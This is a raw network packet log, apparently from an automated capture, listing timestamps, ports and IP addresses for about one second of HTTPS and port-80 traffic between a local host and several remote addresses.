Nov 18, 2024 00:27:48.845832109 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.851109982 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.851145029 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.851165056 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.851171970 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.857405901 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.857429028 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.904674053 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.904987097 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.905013084 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.906500101 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.906573057 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.910964966 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.911063910 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.911163092 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.911179066 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.919749022 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.919979095 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.920063972 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.924391031 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.924427986 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.924503088 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.925477982 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.925477982 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.925502062 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.925519943 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.930182934 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.930349112 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.930428028 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.937192917 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.937206984 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.942222118 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.942249060 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.942277908 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.942285061 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.960067034 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.960099936 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.960220098 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.960711002 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.960867882 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.960932970 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.961093903 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.961101055 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.961929083 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.961949110 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.963191032 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.963207006 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.963330984 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.963458061 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.963468075 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.976537943 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.986774921 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.986805916 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.986867905 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.986885071 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.986927032 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.987802029 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.987827063 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.987839937 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.987845898 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.994699955 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.994787931 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.994906902 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.995107889 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.995124102 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.008788109 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.008802891 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.008968115 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.012401104 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.012408018 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.119468927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.124361038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396260977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396274090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396285057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396322012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396323919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396336079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396349907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396377087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396400928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396414995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396418095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396451950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396492004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396667004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396678925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.396678925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396692991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396704912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.396733999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.397022963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.401139975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.401173115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.401216030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.401216030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.452176094 CET	49941	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452239037 CET	443	49941	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.452383041 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452424049 CET	443	49942	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.452476978 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452481985 CET	49941	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452651024 CET	49941	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452677965 CET	443	49941	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.452779055 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.452792883 CET	443	49942	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.538568974 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.551352978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551368952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551382065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551443100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551443100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551481962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551493883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551505089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551568985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551568985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551655054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551670074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.551709890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551709890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.551989079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552000999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552047014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.552047014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.552165031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552208900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.552350044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552361965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552403927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.552575111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552586079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.552632093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.552649021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.567854881 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.567925930 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.568460941 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.568476915 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.665652037 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.667362928 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.667397976 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.667673111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667704105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667747021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667757988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667778015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.667778015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.667807102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.667896032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667906046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.667958975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.668041945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668054104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668065071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668117046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.668117046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.668379068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668391943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668401957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668412924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668442011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.668560028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.668736935 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.668752909 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.668771982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.668821096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.694003105 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.694040060 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.694102049 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.694132090 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.694173098 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.698481083 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.700973988 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.705092907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.705106020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.705118895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.705184937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.705184937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.722337008 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.722382069 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.722399950 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.722408056 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.724699974 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.724721909 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.725377083 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.725383997 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.738208055 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.738255978 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.738879919 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.738893032 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.753561974 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.753602028 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.753684044 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.754255056 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.754858017 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.754890919 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.755805016 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.755814075 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.760308027 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.760324001 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.784756899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784775972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784863949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784877062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784878969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.784890890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784902096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784914017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.784933090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.784933090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785131931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785478115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785501957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785537958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785537958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785595894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785643101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785654068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785660028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.785680056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785722971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.785722971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.795296907 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.795351982 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.795408964 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.795428038 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.795459032 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.795819044 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.795819044 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.795845985 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.795860052 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.799979925 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.800024986 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.800302029 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.801285028 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.801301956 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.822225094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.822252989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.822266102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.822350979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.822350979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.832681894 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832706928 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832715988 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832762003 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832777023 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832788944 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832792997 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.832813978 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.832827091 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.832851887 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.852329016 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.852591038 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.852662086 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.858640909 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.858675003 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.858680010 CET	49938	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.858690023 CET	443	49938	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.866193056 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.866234064 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.866296053 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.866318941 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.866379976 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.868630886 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.868675947 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.868767977 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.876221895 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.876241922 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.876311064 CET	49939	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.876328945 CET	443	49939	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.882695913 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.882718086 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.886288881 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.886377096 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.886881113 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.887058973 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.887094975 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.887171984 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.887348890 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.887360096 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.888797998 CET	49947	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.888832092 CET	443	49947	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:49.888932943 CET	49947	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.889208078 CET	49947	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.889224052 CET	443	49947	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:49.895226955 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.895251989 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.895272017 CET	49940	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.895277977 CET	443	49940	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.901640892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901679039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901690006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901729107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.901731968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901770115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.901770115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.901838064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901858091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.901927948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902018070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902029991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902041912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902086020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902086020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902276993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902328968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902339935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902340889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902378082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902378082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902628899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902642012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902652979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.902687073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.902688026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.909188986 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.909244061 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.909338951 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.910871983 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.910888910 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.939217091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.939234972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.939248085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.939260960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:49.939306974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.939337969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:49.952258110 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.952280045 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.952358007 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.952380896 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:49.952419996 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:49.954173088 CET	49941	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.954245090 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:49.954613924 CET	49947	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.955033064 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:49.955102921 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:49.955156088 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:49.956363916 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.956406116 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:49.956481934 CET	49949	443	192.168.2.6	13.107.246.57
